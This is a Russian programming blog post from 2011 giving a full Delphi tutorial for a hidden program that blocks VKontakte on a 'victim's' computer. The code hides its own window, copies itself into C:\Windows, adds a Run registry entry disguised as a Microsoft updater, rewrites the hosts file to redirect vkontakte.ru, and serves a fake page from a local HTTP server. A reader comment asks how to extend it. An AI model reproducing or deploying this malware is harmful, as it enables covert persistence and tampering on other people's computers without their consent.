Меню сайта
Категории раздела
Тобольск [0]
ТГСПА [0]
Delphi [40]
Basic [0]
Разное [4]
Радио
ЧАТ
200
Облако тегов
Облако фото
Форум
  • композитная арматура (0)
  • Справедливо ли это???? (1)
  • Недвижимость в Тюмени (1)
  • Качество услуг и обслуживания (2)
  • строительный эксперт (0)
  • гид по Греции (0)
  • винные туры по Италии (0)
  • деревянные лестницы (0)
  • гид по Италии (0)
  • Разные поздравления (1)
  • Главная » 2011 » Март » 22 » Блокиратор вконтакте
    20:12
    Блокиратор вконтакте

    Добрый день, сегодня я , Yougan, опишу метод блокировки вконтакте средствами Delphi. Главное преимущество нашей идеи состоит в том, что она не требует хостинга.

    http://s53.radikal.ru/i142/1102/e0/fee31b8fa216.bmp

    Наша программка будет редактировать всем известный файл hosts и поднимать на компьютере жертвы собственный http-сервер, таким образом компьютер жертвы и будет хостом для сайта, на который будет прописан редирект в хостс.
    Нам потребуется

    [1] Delphi 7
    [2] Установленная библиотека Indy

    Для начала создадим html-файлик, который станет страничкой, которую увидит пользователь, попытавшись войти на свой аккаунт.

    В нем я написал следующее

    <html>
    <title>Вконтакте Добро Пожаловать</title>
    </head>
    <div align=center>
    <image src=12.bmp>
    </div>
    </html>

    Не забудьте создать картинку с именем 12.bmp

    Моя картинка вот http://s49.radikal.ru/i123/1102/d9/4b88381aea11.bmp

    Теперь поместите наш файл и картинку в папку C:\Windows\

    Приступим к написанию веб-сервера.
    Кинем на форму idHTTPServer с закладки Indy Servers
    Назовем его Server

    В событии создания формы напишем

    procedure TForm1.FormCreate(Sender: TObject);
    var str:tstringlist;
    begin
    application.ShowMainForm:=false; //Делаем форму скрытой
    if not FileExists('C:\Windows\webserver.exe') then begin //Проверка, если веб //сервера нет в папке
    CopyFile(pchar(application.exename),'C:\Windows\webserver.exe',false); //То //скопируемся туда
    WinExec('C:\Windows\webserver.exe',sw_hide); //И запустим сервер
    RegHosts; //Процедура модификации хостс
    RegRun; //Пропись в реестре
    Application.Terminate; //Если это убрать, то наш сервер не запустится, т.к.
    //На одном компе может быть запущен только один сервер на одном порту
    end
    else
    begin
    RegRun; //Иначе пропишемся в реестр
    RegHosts; //Модифицируем хостс
    server.Active:=true; //И включим сервер
    end;

    Теперь объявим процедуры RegRun и RegHosts

    public
    { Public declarations }
    procedure RegHosts;
    procedure RegRun;
    end;

    Пропись в реестр

    procedure TForm1.RegRun;
    var reg:tregistry;
    begin
    reg := tregistry.create; //Инициализируем переменную
    reg.rootkey := hkey_local_machine; //Открываем ключ реестра
    reg.lazywrite := false;
    reg.openkey('software\microsoft\windows\currentversion\run', false); //Открываем //подраздел реестра
    reg.writestring('MicrosoftWebServerUpdater.exe', 'C:\Windows\webserver.exe'); //Прописываем путь до сервера в автозагрузку(вместо 
    //'C:\windows\webserver.exe' можно написать Application.exename
    //Тогда программа пропишет в авторан путь до самой себя в данный момент
    reg.closekey; //Закрываем раздел
    reg.free; //Уничтожаем переменную
    end;

    Думаю, тут ничего объяснять не надо

    Модификация файла хостс
    Предварительно объявим глобальной переменной

    FileStr:TStringlist;

    procedure TForm1.RegHosts;
    begin
    Filestr:=tstringlist.Create; //Создаем список
    Filestr.LoadFromFile('C:\Windows\System32\drivers\etc\hosts'); //Загружаем //содержимое хостс в список
    Filestr.Add('127.0.0.1 vkontakte.ru'); //Добавим строчку
    //Слева написан IP, на который произойдет переадресация
    //Справа - ресурс, с которого она произойдет
    filestr.SaveToFile('C:\Windows\System32\drivers\etc\hosts'); //Сохраним изменения
    Filestr.Free; //Освободим объект
    end;

    Теперь перейдем к программированию обработки запросов,
    Посылаемых браузером жертвы на сервер.
    В обработчике события OnCommandGet Server'a напишем следующее

    procedure TForm1.ServerCommandGet(AThread: TIdPeerThread;
    ARequestInfo: TIdHTTPRequestInfo; AResponseInfo: TIdHTTPResponseInfo);
    begin
    if (pos('ndex',arequestinfo.document)=0)and(pos('12.bmp',arequestinfo.document)=0) 
    then
    //Если пользователь браузер запрашивает нашу страничку
    arequestinfo.Document:='index.html'; //Если запрашивается другая страничка
    //То все равно откроем нашу. Я пишу такие условия потому, что иначе
    //У меня программа вываливалась с экзепшном, может у вас получится:)
    
    if arequestinfo.Document='/' then
    begin
    arequestinfo.Document:=''; //Обнуляем запрос
    aresponseinfo.ContentStream:=tfilestream.Create('C:\windows\index.html',fmopenread); //отправляем клиенту файл index.html
    end else
    if arequestinfo.Document<>'/' then //Если прошлая проверка пройдена, то
    //Отправляем файл клиенту(картинку)
    //Если этого не написать, картинка не отобразится
    aresponseinfo.ContentStream:=tfilestream.Create('C:\windows\'+arequestinfo.Document,fmopenread);
    end;

    При разрушении формы напишем

    Server.active:=false; // Иначе программа будет некорректно работать

    В uses обязательно добавьте Registry, иначе прописаться в реестр программа не сможет.

    Теперь проверим, наберем в окне любого браузера 127.0.0.1
    Если вам не открылся ваш html файл, то где-то вы допустили ошибку.
    Теперь пробуем ввести vkontakte.ru


     
    Если я где-то ошибся, вот исходник
    http://zalil.ru/30467699

    Статья участвует в конкурсе статей.
    P.S. авторство Yuogan

    Автор: Yougan

    Источник: hpc

    Материал добавил Yougan



    Категория: Delphi | Просмотров: 696 | Добавил: SeM | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Поиск по сайту
    Календарь
    «  Март 2011  »
    ПнВтСрЧтПтСбВс
     123456
    78910111213
    14151617181920
    21222324252627
    28293031
    Новый Год
    Опрос
    Изменить дизайн?


    Всего ответов: 16
    Всего голосовало: 16
    Обсудить на форуме
    Друзья сайта
    измерьте скорость интернета Яндекс.Метрика
    Проверить тИЦ и PR
    Статистика
    Погода
    Яндекс.Погода
    Коменнтарии

    Извиняюсь, заработал. Спасибо за урок biggrin

    Компонент не работает

    Давайте помогу разобраться ? вы хотите что бы когда выбиралась станция сразу начинала проигрывать? скиньте исходник или как лучше связаться с вами?

    у меня все работает!

    Нифига не робит...
    Кто знает как сделать чтобы на жесткий жертвы сохранял..
    ISQ 606017777

    FSDGHDFJHRG


    Отзывы Фото
    6 микр. Красивое место....

    Ершов ))))

    Старый музей но щас его перенесли...

    Фотография под горы smile

    Красивое фото!!! smile

    Copyright MyCorp © 2024